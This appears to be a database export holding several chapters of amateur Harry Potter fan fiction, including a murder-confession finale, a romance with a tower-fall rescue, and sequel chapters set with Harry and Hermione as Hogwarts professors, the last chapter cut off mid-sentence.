	(186, 12, 'Over the Edge<br><br>~ This is the Final Chapter~<br>Chapter Twelve- Fall \nof a Wizard<br>There was a though it mind for Hermione to believe she was dead. \nThat she hit the wall hard enough to become Harry\'s third victim. But she was \nalive, aching all over along with being dazed. Harry and Ginny were gone, the \nfirst thing she noticed.<br><br>It was a struggle to stand, her sore muscles and \nbruised bones ached with every move she made. Loosing balance and then beginning \nto limp, she galloped towards the door.<br>When entering the corridor of the \nschool after the passage, it was deserted. Hermione feared by the time she\'d \nfind Ginny and Harry, one of them would be dead. A familiar call, identical to \nthe one from earlier that night, rang throughout the hall echoing around \nHermione. It was close, very close, and she wasn\'t around many classrooms. A \ncracking sound, like glass breaking. A window. There weren\'t any windows in the \ncorridor, only lanterns. But there were some in the Defense Against the Dark \nArts classroom. Hermione limped as fast as she could.<br><br>Her hair was pulled \nbackwards by huge gusts of wind in the room. The tall window had been broken, \nbreaking the barrier to the night storm. Leaning very little out the damage (it \nwas defiantly big enough for someone to fit through) thick raindrops splattered \non her hair and face. Thunder was beaming in every direction, lightning \noccasionally illuminating the dark clouds. The roof.<br>The staircases didn\'t \nmove, like they knew she was in a rush and how serious the matter was. The only \ndoor to the roof platform was at the very top, the eight floor. It was not large \nat all really, only six or seven feet between two points in the castle. When she \nfound them, Ginny was free.<br><br>But Harry crept closer to her when he saw \nHermione. &quot; You don\'t want to be here, trust me&quot; he warned. The voices had to be \nloud to not be drowned out by rain or thunder. Hermione was now just as soaked \nas they already were.<br><br>&quot; Harry, let her go, she has nothing to do with \nthis&quot;.<br><br>Through the streak of insanity across his face, he didn\'t prey it \nupon her. &quot; That\'s not true, she knows more than you. Kind of scary when you \nlook at it&quot;.<br><br>&quot; Please don\'t make me do this&quot; Ginny pleaded, \ncrying.<br><br>Harry wrapped his arms around her waist. &quot; Come on Gin, you were \nitching to tell earlier. Besides, she\'s been patient enough with my issues, I \nguess you can call them, mental problems&quot; he grinned.<br><br>&quot; Harry, don\'t say \nthat about yourself&quot;.<br><br>He backed away from Ginny. &quot; This girl right here&quot; \nhe pointed to her, &quot; said the exact same thing not that long ago. She figured it \nout and ended our so-called relationship&quot;.<br><br>Relationship? Though Hermione \ndidn\'t say anything, it was clearly printed across her face. &quot; Yeah, you guessed \nit&quot; he continued, Ginny frozen by her tears, &quot; she said I was acting weird about \nmy desired revenge. Neville Longbottom and Colin Creevy were the names on the \nlist, the only names actually. Once Miss Weasley here found out the true reason, \nmy motive, and, well, she was pissed\'.<br><br>Hermione glanced between Ginny and \nHarry. She didn\'t know if she now wanted his reason. Obviously, it was known by \nsomeone all along. It was Hermione\'s one goal in him.<br><br>Harry slid the \nknife\'s blade against Ginny\'s arm. &quot; Why don\'t you tell?&quot; he moved it towards \nher collarbone, &quot; you know you want to&quot;.<br><br>Ginny froe, hesitating, knowing \nthe danger she\'d be putting herself in by not speaking, more the same if she \ndid. &quot; Because of you&quot;.<br><br>Between thunder and confusion, Hermione didn\'t \nhear, &quot; what?&quot;.<br><br>&quot; Because of you!&quot; Ginny screamed, &quot; he killed them \nbecause of you!&quot;.<br><br>&quot; Because of me?&quot; Hermione moved her drenched hair \nbehind her ears, &quot; how could this be because of me?&quot;.<br><br>Harry looked at \nHermione, with more painful expression rather than insane. &quot; Because you\'re so \nattractive&quot;.<br><br>&quot; What?&quot; she was becoming so aggravated because they were \nthe only ones who could understand.<br><br>&quot; Well you must be, Colin and Neville \nwere attracted to you&quot; Hermione\'s anger fell, &quot; maybe I didn\'t take the \ncompetition very well. I tried to get it out of my head, really, I did. \nSuddenly, after Ginny here had written me a letter, did I find a way to wheel \nthem in. Write them, making it look as though you were the author, asking them \nto meet you in an empty common room at night, that\'s why Colin said \' see you \nlater\'. It was guaranteed to work, no one around, and they had no reason not to \ngo. I remember watching them both, hiding in a dark corner while they came \ndownstairs. There was the chance that I could have just sat there until they \nleft, but, I didn\'t. The urge was too strong and my reflexes to weak. The last \nthing I wanted was someone in Gryffindor to be accused. They\'re our family, \nremember when McGonagall told us that on the first day. So I dragged Colin\'s \nbody to the library, that\'s where I was coming from, you were coming down the \nstairs as I was in the porthole. I would have done the same for Neville if Ginny \nhadn\'t screamed&quot;.<br><br>It took a lot out of him to admit everything. Hermione \nwas stunned, Ginny still horrified because she was so close.<br><br>&quot; Harry, \nI0&quot;.<br><br>He raised a hand to stop her, &quot; don\'t worry about it. It may have \nbeen good intentions, but it was really bad actions. I don\'t even deserve \nAzkaban&quot; Harry bent, whispering in Ginny\'s ear.<br><br>Automatically, Ginny was \ncrying again. &quot; No!&quot;.<br><br>He handed her the knife in which she could barely \nhold. &quot; It would be a painless death, the dementors sucking out my soul. Colin \nand Neville suffered, I made sure of that. Why shouldn\'t I?&quot;.<br><br>It took a \nlot of courage, what Ginny did. Quickly, without a warning, she drove the knife \ninto his abs. Hermione jumped at the action, Harry dropped to one knee, \nclutching his bloody wound.<br><br>&quot; Ginny!&quot; she snapped at the girl who had \nturned snow pale.<br><br>&quot; I told her to&quot; Harry winced, falling entirely to the \nstone platform.<br><br>Ginny dropped the knife, backing away. Hermione knelt \nnext to him, his shoulders resting in her lap.<br><br>&quot; I didn\'t think it\'d hurt \nthis much&quot;.<br><br>She pulled off her glasses, watching the raindrops land on \nhis cheeks. Placing a hand over his, the blood ran onto her skin.<br><br>&quot; It \nwas for you, Hermione. Colin, Neville, and now me, it was all for you. Maybe it \nwould have been easier to just tell you&quot; he took a deep breath, &quot; that I love \nyou&quot;.<br><br>Hermione\'s smile barely twitched at her mouth corners. Harry closed \nhis eyes. Soon enough, she couldn\'t tell raindrops from her own tears. He killed \nfor her, and now he died for her. The question was no longer how much she loved \nhim, but how much he loved her.<br>Authors Note- There, it\'d done. Now you all \nknow why he did it and how it ended. But, those damn plot bunnies are still \nhoping around. I have an idea for the sequel to this that I\'m willing to try. \nWhat do you guys think of that idea? Please let me know. Thank you for the \nreviews on this (and the help, you know who you are) and I\'m glad you all liked \nit.\n'),
	(186, 13, '~ Home for the Summer~<br><br><br><br>Summary: Harry Potter and Draco \nMalfoy fell from the audience tower. What happened to them? What happened to \nElla?<br><br><br><br>A/N: This is the final chapter. While I am sad, I have \nanother Harry Potter story in the making. Look for the first chapter soon!! I\'d \nlike to thank every single person who reviewed this story, it really meant a \nlot. Also, thank you to OrioCookie for the whole spell fencing and dueling \nthing; it\'s too late to change it now but I greatly appreciate \nit.<br><br><br><br>Chapter Twelve- From Dreams to \nReality<br><br><br><br>Hermoine witnessed the fall of the two boys from the \ntower. When they hit the ground, she already took off running back to Hogwarts. \nRon and Hagrid came back with her, along with Dumbledore and McGonagall. Madame \nPomfrey, who had been their savior for the night, rescued baby Ella and had her \nsafe in the hospital wing before she grew far ill. As for the fallers, they were \na different story. No one moved their bodies from the positions in which they \nlanded, no one even went near them until Pomfrey arrived.<br><br>Ron stayed very \nclose to Hermoine, whom was on the near break of tears, not knowing who was \nalright, if anyone was. Madame approached them after carefully examining them. \nNot that she ever had a cheerful expression, defiantly not now.<br><br>&quot; I am \nsorry to report that mister Malfoy broke his neck, most likely once he hit the \nground&quot;. There was no reaction, they knew what he did and now he got what he \ndeserved. It was almost like a celebration.<br><br>Hagrid dared through the \nstricken silence, &quot; and Harry?&quot;.<br><br>She sighed, looking at Hermoine, &quot; I\'m \nsorry, it does not look too good for him either&quot;.<br><br>&quot; He\'s dead?&quot; Hermoine \nstruggled through the words that could shatter her heart in an instant.<br><br>&quot; \nNo. His breathing is very weak, he may have broken several severe bones that may \nhave caused fatal damage. I don\'t believe he may last much longer, possibly two \nor three minutes&quot;.<br><br>Hermoine felt awful, like all the things Madam Pomfrey \nhad just told was happening to her. Like her insides were being torn apart bit \nby bit and her life was slowly slipping away. He had survived such a fall not \ntwo months ago, why couldn\'t he survive this time?<br><br>&quot; Hermoine, why don\'t \nyou go and, say your goodbyes&quot; she knew it really effected Hagrid to say that to \nher, or at all.<br><br>She left Ron, stumbling through the snow to get to the \nbase of the tower. Kneeling next to his limp, almost lifeless body, she saw that \nthe rising and falling of his chest, was hardly able to see. Gently, she brushed \naway part of his hair from his forehead, revealing his scar.<br><br>&quot; You saved \nElla\'s life&quot; she told him, in case he didn\'t know. &quot; It\'s not fair that now you \nhave to go&quot;. She took a deep, but weak, breath, &quot; I was going to tell you this \nearlier, but the chance never came, and I don\'t think it\'s going to come again. \nI love you, it\'s easier done than said. I loved you long before that night with \nthe diary, and it only seemed to be greater once Ella came along. You probably \ncan\'t hear me, but hopefully someday, you\'ll know&quot;.<br><br><br><br>Hermoine \nleft. She could no longer bare being that close to him, when he was so far away. \nAll she wanted was to get away from the Quidditch as fast as possible, and never \ngo back there. The idea of returning to Hogwarts made her feel sick. Every inch \nof the school already reminded her of him, the things they did, or what not. \nWhen arriving back at the dorm room, she wouldn\'t go to bed, sitting on the edge \nof the mattress, any movement didn\'t seem worth it. She watched Ella sleeping, \npeacefully, it hurt her to know that her daughter would never grow to know her \nfather. Their relationship was broken, because of a teenage demon.<br><br>Hours \nafter the incident, Hermoine let the exhaustion over take her, there was not \nenough will power to keep fighting to desire to sleep.<br><br>While in a \nmotionless slumber, she felt the air around her slip into the dream world she \nknew too well. Standing in the dark hallway, all alone, for a moment, the \nsilence got to her and there was no clue for why she was there. A faint whisper \nin the background trickled her eardrum just barely. Turning in the most rapid \nmovement, Hermoine caught the slight glimpse of a shadow, and yet, awoke before \ndiscovering what, or who, it was.<br><br>She shot up in bed, panting. The dream, \nit felt so strange, so real. A cold chill up her spine indicated, that maybe she \nwas right. Her mind, and the bare remainders of the dream controlled the \nphysical movements outside the dormitory. Stopping in the hallway, the only \nsound was her breathing, the only sight was what little was lit from the candles \ndown the aisle. Hermoine\'s mind had gone blank, and she no longer wanted to \nthink of her actions. Her mind was too powerful, even to herself, and now she \nonly wanted go by what her heart told her.<br><br>Her heart was telling her to \nrun, to nowhere specific at the time, just to run. She kept running, faster with \neach step, and yet, not knowing where she may end up. Somehow, her mind came \nback in control when she neared the hospital wing. Hermoine stopped herself \ninstantly at the main doors. She knew. She knew that\'s where the bodies were, \nwhere Draco and Harry were, until further arrangements were made.<br><br>Why? \nShe thought to herself. Why was she there? She couldn\'t stand the fact that just \non the other side of those doors was the lifeless body of the boy she was deeply \nin love with. Even knowing that he was no longer alive, she still had the same \nfeelings.<br><br>Forcing every muscle in her body, Hermoine began to walk away, \nback to her dorm. Maybe other sleepless nights would lead to such a dream to \narise hopes that would fail only minutes later. It wasn\'t fair, nothing about \nthe day had been fair. One simple move, if Harry, or even Malfoy, swiped in the \nother direction, they wouldn\'t have fallen. Who knew what would have become of \nthat, but at least there would have been more of a chance.<br><br><br><br>&quot; \nHermoine&quot;. Her name, she knew that specific tone, and exactly how it was \nsaid.<br><br>&quot; Harry&quot; she whispered, recognizing the voice before hers. Perhaps \na aftershock from her premonition. Perhaps, not.<br><br>&quot; Hermoine&quot; the voice \nwas more clear, the name was closer.<br><br>&quot; Harry!&quot; she was facing him in a \nheartbeat. Standing as tall as he was in the doorway, his injured figure \nstumbling every so often. He was alive, Harry Potter was alive.<br><br>Plunging \ninto his arms, Harry clamped his arms around her tightly.<br><br>&quot; How is this \npossible? They said you were dead!&quot; Hermoine screamed in \ntears.<br><br><br><br>Harry managed a voice through her embrace. &quot; I think I was \nfor awhile, Draco got the better of the fall&quot; he waited, &quot; I heard what you \nsaid, I heard everything&quot;.<br><br>&quot; I still mean it, I always have, and I always \nwill&quot;.<br><br><br><br>&quot; I love you Hermoine&quot; he said, feeling at complete ease \nonce the words left his lips. After all this time, he finally said them. &quot; I \nlove you more than life itself&quot; she backed away from his hold, but he couldn\'t \nstop himself. &quot; For as long as I can remember, and when you told me \nthat.......you were going to have a baby, our baby, I didn\'t know what more \nthere could be. Maybe we are young, and that some people believe that we\'re not \nready for love, but we\'ve been through so much&quot;. Hermoine gently brushed a tear \nfrom behind his broken glasses. &quot; And, I love you&quot;.<br><br>Before another \nrambled word could be said, Hermoine leaned forward and kissed him, not just a \npeck, but the kind of kiss you\'d give to someone after confessing your love. \nFrom the night with the diary, to a near death experience.<br><br>Ron came \nbursting from the hallway, wondering where Hermoine had run off too. He saw that \nhis two best friends, one in which he thought was dead, were tongue tied and \ncaught up in each other arms.<br><br><br><br>&quot; Okay, found her&quot; he panted, \nleaving them for privacy.<br><br><br><br>~ THE END~<br><br><br><br>A/N: Yes, the \nending is corny. But I really wanted to finish it, and I knew I wouldn\'t be too \npopular for killing Harry, especially when he had a baby daughter. The story is \ndone, but my goal is to hit 40 reviews at least for the final chapter, please \nhelp! Keep checking for my next story (within the next day or less) called &quot; In \nHarm\'s Way&quot;. THANK YOU AGAIN FOR THE REVIEWS!\n'),
	(186, 14, '~ Home for the Summer~<br><br>Epilogue<br><br>A/N: I didn\'t lie, this \nisn\'t a chapter. It\'s a, well, you saw the title. Thank you for Coolone for the \nidea, I\'ve never done one before. Seeing as the questions only came from \nCoolone, I\'ll just go with the flow.<br><br><br><br>Hermoine, and Harry, did \ncontinue going to Hogwarts, and graduated with academic \nachievements.<br><br><br><br>After graduation, neither ever left \nHogwarts.<br><br><br><br>~ That\'s all I really want to say. If you have anymore \nquestions, let me know. I would say more, but I got a weird idea for a sequel. \nLet me know what you guys think of that idea~\n'),
	(186, 15, '~ Home for the Summer~<br><br>Prologue<br><br>I\'m going to keep the title \nHome for the Summer, because I hate changing titles in the middle of a \nstory.<br><br>You read the epilogue, hopefully, so you already know that Harry, \nHermoine, and Ron graduated from Hogwarts the following year.<br><br>Just a side \nnote- Harry and Hermoine\'s daughter\'s name is Ella, not Elle, but it\'s a simple \nmistake. I named her after Ella Harris, the late Richard Harris eleven-year-old \ngranddaughter. If it were not for her threat of never speaking to her \ngrandfather again, he would have not accepted his role in Harry \nPotter.<br><br>Anyways, with that said, here\'s what\'s going on in the start of \nthe sequel.<br><br><br><br>It\'s four years later, making the gang nineteen, and \nElla is four. After graduation, they did not go back to the Muggle \nworld.<br><br><br><br>Professor Lupin retired after the seventh year, he opened \na small shop in Diagon Alley selling random magical things to gain a great deal \nof wealth. Harry, is the new professor for the Defense Against the Dark Arts \nclasses. He also is a referee for the newest Quidditch matches, still getting \nout the old Firebolt.<br><br>Professor McGonagall resigned when accepting an \noffer to take a seat on the Ministry of Magic (hey, she deserves it). None other \nthan Hermoine Granger took over at the professor for the Transfiguration \nclasses, and head of the Gryffindor house.<br><br>Sadly, in the second semester \nof the seventh year, Headmaster Albus Dumbledore passed away (it has absolutely \nnothing to do with the fact that Richard Harris did as well; it\'s strictly for \nthe story). A note was found in his office, claiming there was one student in \nthe school, and only one, that he would want to take his place. Ron Weasley is \nthe new Headmaster at Hogwarts.<br><br>If there is something I forgot, I\'ll \nprobably mention it somewhere in the sequel. If I don\'t, let me \nknow.<br><br><br><br>And, one final note, for the relationship status of \nHermoine and Harry. The night of their graduation party, Hermoine found an \nengagement midair when running back into the dorm room for something she \nimmediately forgot about. They are not married just yet.\n'),
	(186, 16, '~ Home for the Summer~<br><br>A/N: And yet, another special thank-you to \nLilFlyerGirl for all her extraordinary help. Flu Powder in the bedroom, \nright?<br><br><br><br>Chapter Fifteen- Two Professors, a Headmaster, and a \nLittle Girl<br><br><br><br><br><br>The seventh floor corridor was emerged in \nsilence. It was the birth of a new year. September second, that day easily \nremembered from the former students. Harry Potter being one himself. He had \ngraduated from Hogwarts with honors and then realized that he never wanted to \nleave the place that truly was his home. Along with his best friend and fianc&#233;, \nthey didn\'t want to leave. With that, Hogwarts School of Witchcraft and Wizardry \nwas made their permanent home.<br><br><br><br>The scattering class of first \nyears went entirely quiet upon Harry\'s entrance. Twenty pairs of eyes watched \nhim walk to the front of the classroom.<br><br>&quot; What?&quot; he looked up from his \nbag on the desktop, completely innocent. Several students snickered, a girl in \none of the front rows raised her hand. &quot; Yes, Miss Daniels?&quot;.<br><br>She lowered \nher hand, smiling, &quot; forgive me professor, but, aren\'t you a little-young to be \nteaching?&quot;.<br><br>Harry walked around the desk, leaning against the front, arms \nfolded across his chest, focusing on young Olivia Daniels, &quot; no, not \nnecessarily. I\'ve had more experience in Defense Against the Dark Arts than a \ngood amount of wizards&quot;. Without knowing, he brushed part of his hair from his \neyes, revealing a very good conversation piece.<br><br>There was a roar of gasps \nfrom every student, except Olivia, she just lokst control of her jaw.<br><br>&quot; \nGood gods, you\'re Harry Potter!&quot; one boy snapped. Harry could have sworn his \nstudents knew already.<br><br>&quot; Shut up Longbottom!&quot;.<br><br>Harry followed the \nvoices to a familiar looking resemblance in the back row. &quot; \nLongbottom?&quot;.<br><br>&quot; Alistair Longbottom, sir&quot; he seemed scared of the gaze he \nwas under.<br><br>&quot; Neville\'s brother?&quot;. The boy nodded. &quot; Oh this class is \ngoing to be fun&quot; he muttered mostly to himself.<br><br>Harry turned around to \nwalk forward again, Olivia\'s arm was mid-air again. &quot; Yes?&quot;.<br><br>&quot; Sir, or \nshould I say Professor Potter&quot; she had a spunky grin to his name, &quot; by any \nchance are you going to teach us defense methods against you-know-who?&quot; she \nhesitated on the name.<br><br>They all stared, desperately waiting an \nanswer.<br><br>&quot; Why would you need such a thing? The chances of you \nencountering he who should not be named&quot; as a professor, he had to learn no to \nsay the name like he was use too, &quot; on Hogwarts grounds are slim to \nnone&quot;.<br><br>Olivia still seemed in hesitation, &quot; what about outside of school? \nLike when we\'re at home&quot;.<br><br>&quot; Well, you\'re not suppose to use magic outside \nof the school&quot; he himself had broken that rule several times, which is why he \nnever enforced it as a concrete law, &quot; but, the chances don\'t even exist. No \nstudent has encountered Lord you-know-who, ever&quot;.<br><br>&quot; You have&quot; Alistair \ncommented.<br><br>Harry shrugged, &quot; I wasn\'t a student at the time, heck, I \nwasn\'t even potty trained&quot;.<br><br>The class burst into laughter.<br><br>&quot; The \npoint is&quot; he focused on the girl in the front row, &quot; you\'re safe, you\'re at a \nbig school with protective teachers, and a very well trained \nheadmaster&quot;.<br><br>Alistair, once again, interrupted Harry\'s assurance for \nOlivia. &quot; Ron Weasley!&quot; he cracked, &quot; I\'ve heard horror stories about that guy, \ncan\'t believe he\'s our headmaster!&quot;.<br><br>&quot; Your brother has more \' horror \nstories\' than the Forbidden Forest ever will&quot; the students cooed, &quot; Headmaster \nWeasley is the second best in the league after Dumbledore \nhimself&quot;.<br><br>Longbottom broke the serious tone Harry had. &quot; Is it true he \nate slugs as a prank to get out of an exam?&quot;.<br><br>&quot; No!&quot; he snapped, shocking \nthe students to think he was angry. Harry turned to get a book from his desk, \nlooking over his shoulder with a blissful grin.<br><br>&quot; It was a spell that \nbackfired&quot;.<br><br><br><br><br><br>Hermoine dropped her boulder-weighted bag to \nthe floor of their room. It hadn\'t gotten any lighter for being a teacher. She \nwas beyond exhaustion. Harry had only been there for a minute or so before \nher.<br><br>&quot; First day rough?&quot; he saw her expression.<br><br>Hermoine walked \nlike a zombie to the window where he was standing. &quot; You have no idea&quot; she \ncollapsed into him&quot; giving freedom of experimenting was a nightmare&quot;, he wrapped \nhis arms around her, &quot; two kids ended up in the hospital wing with \ntails&quot;.<br><br>He couldn\'t help but laugh, &quot; still up for going to the \nfeast?&quot;.<br><br>&quot; Of course&quot; she raised her head, &quot; it\'s Ron\'s first welcoming \nfeast as Headmaster, I wouldn\'t miss it&quot;.<br><br>&quot; In that case, I better go get \nthe rugrat&quot; he started towards the door.<br><br>&quot; The what?&quot;.<br><br>He grinned \nright before leaving, &quot; your daughter&quot;.<br><br><br><br><br><br><br><br>During \nthe days when Harry and Hermoine had classes, Hagrid was more than happy to look \nafter the four-year-old. And she was just as ecstatic about her visits. Learning \nabout fascinating creatures, older tales of when Hagrid was a boy (ignoring \nthose that involved the Chamber of Secrets), and his specialty, stories of when \nher parents and godfather (which is Ron) were first students at Hogwarts. Those, \nshe happened to use in the best ways possible.<br><br>On her part that \nis.<br><br>Hagrid slowly opened the door after Harry knocked. He motioned for \nHarry to be silent, then pointing across the cabin to the couch where the little \ngirl was sleeping soundly under an old, wool blanket.<br><br>&quot; She hasn\'t had \nsupper&quot; Hagrid informed him of the day as he walked closer to his sleeping \ndaughter, &quot; went right to playing with Fang. Who knew that old brut had that \nkind of energy left in him. Both passed out within quarter of an hour&quot; Harry saw \nthe old, wrinkled dog asleep by the fire.<br><br>&quot; Thanks Hagrid&quot; Harry said \nafter lifting Ella, her head resting on his shoulder.<br><br>&quot; No problem, no \nproblem at all. How\'s the teaching going?&quot;.<br><br>&quot; Hopefully tomorrow will be \na better day&quot; he said before leaving the house.<br><br>Surely Ella would want to \ngo to the feast, despite an empty stomach, she gained every opportunity to do \nsomething with her father in Hogwarts. Over the years, Ella developed into an \nadorable toddler. She had Hermoine\'s hair, which was obvious, and still kept the \nheritage of her father\'s eyes, and facial expressions.<br><br>Olivia Daniels was \nwalking up to the castle just as he was, they were the only ones out there. \nNormally, students weren\'t outside past the hour of four.<br><br><br><br>&quot; Hello \nOlivia&quot; he greeted smiling.<br><br>She tried to get a closer look at Ella\'s \nface, &quot; she looks rather young to be first year. What house is she \nin?&quot;.<br><br>Harry laughed, &quot; she\'s not a student, she\'s my daughter, she\'s too \nyoung to be a student yet&quot;.<br><br>Olivia looked surprised, &quot; you have a \ndaughter?&quot;. He nodded. &quot; I heard that you were engaged to Professor \nGranger&quot;.<br><br>The idea that she knew random, somewhat personal, facts about \nhim after her second day at the school, kind of worried. &quot; You might want to \nhurry up, the feast is starting soon&quot;.<br><br><br><br>By the time Hermoine met \nup with Harry at the entrance to the great hall, Ella was awake and ready for \nwhatever it was they\'d be doing. She never cared about details.<br><br>Plates \nwere still empty as the three walked to the front of the hall, to be seated next \nto Ron, just has he had ordered. Ron wore the same colored and fancy robes as \nDumbledore did, same hat as well. He looked very serious, when those who knew \nhim, knew better. The hall tables went silent, waiting for the usual \nannouncement given at the beginning of each year before the feast.<br><br>Ron \nstood swiftly, everyone watching him. He loudly cleared his \nthroat.<br><br><br><br>&quot; Nothing to say, everyone start eating&quot;.<br><br>Hermoine \nand Harry laughed, it was very well expected from someone like \nRon.<br><br><br><br><br><br>A/N: Alright, this is getting long and its going \nnowhere. It\'s a chapter that just has to be here, but has no meaning. Don\'t \nworry, I have a great plot in mind. So keep reviewing and stay tuned for less \ncorny chapters.\n'),
	(186, 17, '~ Home for the Summer<br><br>A/N: Just a warning, that really has no \nreason. This chapter will contain the word \' @$$\'<br><br>Chapter Eighteen- \nSomeone Believe Me<br><br><br><br>The night Ron had planned to invite Olivia to \nthe faculty table in order to monitor her behavior, she was not in the hall. \nAdrianna wasn\'t either, neither turned up for dinner. On such a random \nnight.<br><br>&quot; We\'ll just try again tomorrow night&quot; Ron told Harry while the \nstudents and other staff members filed out after dinner.<br><br>Hermione looked \nat them, &quot; try what?&quot;.<br><br>&quot; That Daniels girl has the hots for Harry and \nit\'s making him paranoid&quot;. Harry nudged his arm.<br><br>She giggled, &quot; Harry, \nshe\'s eleven, it\'s an innocent crush, like the one Ron use to have on \nLavender&quot;.<br><br>&quot; Say what?&quot; Ron\'s voice cracked at a very high pitch that \nechoed off the walls.<br><br>Harry ignored the comment, &quot; It\'s not a crush, and \nit\'s certainly not innocent, it\'s something else&quot;.<br><br>&quot; An obsession?&quot; \nHermione suggested.<br><br>&quot; No!&quot; or maybe. He felt alone, his best friend and \nfianc&#233; didn\'t believe his suspicion. The only thing remotely close was a \nhat.<br><br><br><br>&quot; Where are you going?&quot; Ron asked after Henry jumped over \nthe table and started down the empty aisles between the hall tables.<br><br>&quot; To \nfind Olivia&quot;.<br><br>Ron, Hermione, and Ella watched him leave the hall without \nanother word, and very determined.<br><br>&quot; Want to go watch him get his ass \nkicked by a kid?&quot; Ron casually asked.<br><br>Hermione lifted Ella into her arms, \n&quot; no need to make it worse by watching&quot;.<br><br><br><br>A storm threatening \nnight made visibility in the corridor more difficult than most nights. Lanterns \nflickered the dim light. Harry was still quiet a ways from the Gryffindor common \nroom, when, there was a scraping sound behind him. He stopped, turning his neck \non an angel. There it was again, louder this time.<br><br>&quot; Hermione?&quot;. It \nsounded like footsteps.<br><br>He moved backwards where he already came. &quot; \nRon?&quot;.<br><br>Still no answer.<br><br><br><br>Hermione sat on the cushion by the \nwindowsill, her daughter in her lap. A children\'s book of Witchcraft fairytales \nopen in front of them.<br><br>She heard a moan, a painful moan, just outside the \ndoor.<br><br>Hermione shifted Ella off, leaving her with the book. She stood \nclose to the door, her hand on the knob. Another moan, like someone was \nsuffering. Hermione flung the door open in one swift move, wand in \nhand.<br><br>The only person there, was Harry, lying in the doorway.<br><br>&quot; Hi \nSweetie&quot; he grumbled, in obvious pain, and a little dazed.<br><br>&quot; Harry! Oh my \ngod!&quot; she nearly screamed.<br><br>Dragging him inside, slamming the door behind \nthem, she gently sat him down in the light, able to see his injuries. His shirt \nwas torn from the sleeve and down, a trail of blood following on the skin. The \nbruises on the knuckles of his hands matched the deep blue coloring on his jaw \nline. There was a deep cut under his left eye, yet, he didn\'t notice.<br><br>&quot; \nIt doesn\'t hurt&quot; he commented.<br><br>&quot; What the hell happened to you?&quot; Hermione \nhelped him to sit, thinking maybe he really did get his ass kicked.<br><br>Harry \nremoved his glasses which had a cracked lens, &quot; I don\'t know, I couldn\'t see who \nit was, I just kept getting thrown against the wall. Like some kind of \nforce&quot;.<br><br>She disappeared into the bathroom. Ella, who had been watching \nsince her mother dragged her father inside, took the long jump from the sill to \nthe floor, walking over to Harry. Wrapping her little hands around his \narm.<br><br>&quot; You have boo boo\'s?&quot;.<br><br>Hermione came back with a damp \nwashcloth and a brown bottle of iodine. &quot; Just a few&quot; he answered.<br><br>&quot; Do \nyou have an idea, who did this? Certainly it couldn\'t have been \nOlivia&quot;.<br><br>Ella sat herself on his leg. &quot; I sure hope so. I saw some what \nof a figure, it was not a litter girl&quot;.<br><br>Hermione turned the open bottle \nover the cloth. &quot; Watch Ella, it doesn\'t hurt&quot;. She placed it against the wound \nunder his eye.<br><br>It stung, and Harry winced sharply, but saw those emerald \neyes watching him. She had scraped her knees every other day, and had been \nterrified of the iodine.<br><br>Hermione took one of Ella\'s hands from Harry\'s \narm to the washcloth, &quot; hold that for me sweetie&quot;.<br><br>Harry watched her \nstand and head for the door, though did not say anything. As her hand reached \nfor the doorknob, he snatched the want she had dropped earlier. With one word, \nit was no longer possible for her to open the door.<br><br>&quot; Why did you do \nthat?&quot; she objected, &quot; we have to tell Ron about this&quot;.<br><br>&quot; If absolutely \nnecessary, I can tell him tomorrow&quot;.<br><br>Hermione tried to door again, &quot; what \nabout the students? I\'m in charge of the Gryffindors, I have to make sure \nthey\'re alright&quot;.<br><br>Harry stood, bringing Ella with him, &quot; no one gets past \nthe Fat Lady, you know that&quot; with the exception of Sirius Black a few years ago, \nbut it was different circumstances.<br><br>She gave up, went back towards them, \n&quot; someone dangerous is in the school&quot;.<br><br>&quot; And going out there alone at \nnight is not going to help&quot; he said, &quot; I\'ll go put her to bed&quot; Harry patted \nElla\'s back.<br><br>But as soon as he said that, Ella screamed, throwing her \nclutch around Harry\'s neck, &quot; no! I don\'t want you to get hurt&quot;.<br><br>Hermione \nwatched his stunned reaction. &quot; It\'s okay, no one\'s going to get hurt&quot; he softly \ntold her.<br><br>&quot; Yes they are&quot; Ella cried, burying her face in Harry\'s \nshoulder, &quot; they\'re going to hurt you daddy!&quot;.<br><br>Knowing it was not her \nusual attempt to get out of bedtime, Hermione stood next to him in less that \nthree steps. &quot; Who are you talking about, honey?&quot;.<br><br>&quot; The bad guy is gone, \nhe won\'t hurt anyone&quot; Harry said, though not knowing that his attacker could \nhave possibly been female.<br><br>&quot; No he\'s not&quot; Ella replied through her \ntears.<br><br>She remained crying for several minutes until crying herself to \nsleep. Still with a strong hold, Harry laid down on the bed with her on top of \nhim.<br><br><br><br>&quot; What do you think she meant?&quot; Harry whispered, Ella still \nasleep on his chest.<br><br>Hermione was laying next to them, &quot; I think she was \nscared because you were hurt, and she\'s afraid it may happen again&quot;.<br><br>But \nHarry couldn\'t ignore how confident his daughter sounded that \nnight.<br><br><br><br><br><br>Hermione was not to next to him when Harry awoke \nin the morning, but he knew she always left earlier on Wednesdays. He talked \nwith Ella about the event the night before, she seemed to be calm about it. \nMaybe it was a cover-up he couldn\'t see through.<br><br><br><br>At least that \nmorning, Harry had a decent amount of time to get to his first class after \nleaving Ella with Hagrid, they were thrilled to see each other, and he was \nrelieved that when she was acting more like herself.<br><br><br><br>&quot; Feeling \nbetter?&quot; Ron joined him from the lawn as Harry made his way back into the \nschool.<br><br>&quot; Hermione told you&quot; he guessed.<br><br>Ron nodded, &quot; I can\'t \nbelieve something like that happened, I hate to ask, but any ideas on what to \ndo?&quot;.<br><br>Harry shrugged, &quot; ignore it?&quot;.<br><br>&quot; That is a resolution I \nwould turn to, but not when my best friend gets hurt, that\'s when it gets \npersonal. Well, semi-personal, I guess you\'re involved too&quot;.<br><br><br><br>&quot; \nThank you Ron&quot;.<br><br>&quot; Well, if something happens to you, I don\'t know what \nI\'d do. I would have to start thinking for myself&quot; Ron claimed.<br><br>Harry \nlaughed, &quot; you\'d have Hermione&quot;.<br><br>Ron shrugged, &quot; anyways, I have top \nsecurity in every hallway. Trolls, paintings, even Sir Cadagean&quot;.<br><br>Harry \nshuttered, &quot; are you sure that\'s a good idea?&quot;.<br><br>Ron glared at him, &quot; it \nwas either him, or Demontors, I trust there is no more to be said&quot;.<br><br>Harry \nnodded. There was no possibility of him agreeing more, that\'s for \nsure.<br><br><br><br><br><br>There were no students in the classroom when Harry \narrived, there was still another seven-and-a-half minutes until class began (he \nwas very precise when it came to that). But the room was no empty. Hermione was \nthere, her back facing him.<br><br>&quot; Isn\'t this enough surprise&quot; he \nsmiled.<br><br>She turned around, now facing him. Her bloodshot eyes blended \nwith her tear stained cheeks and extreme expression of anger and hate. He was \nstunned by the sight.<br><br>&quot; What\'s wrong?&quot; he dared 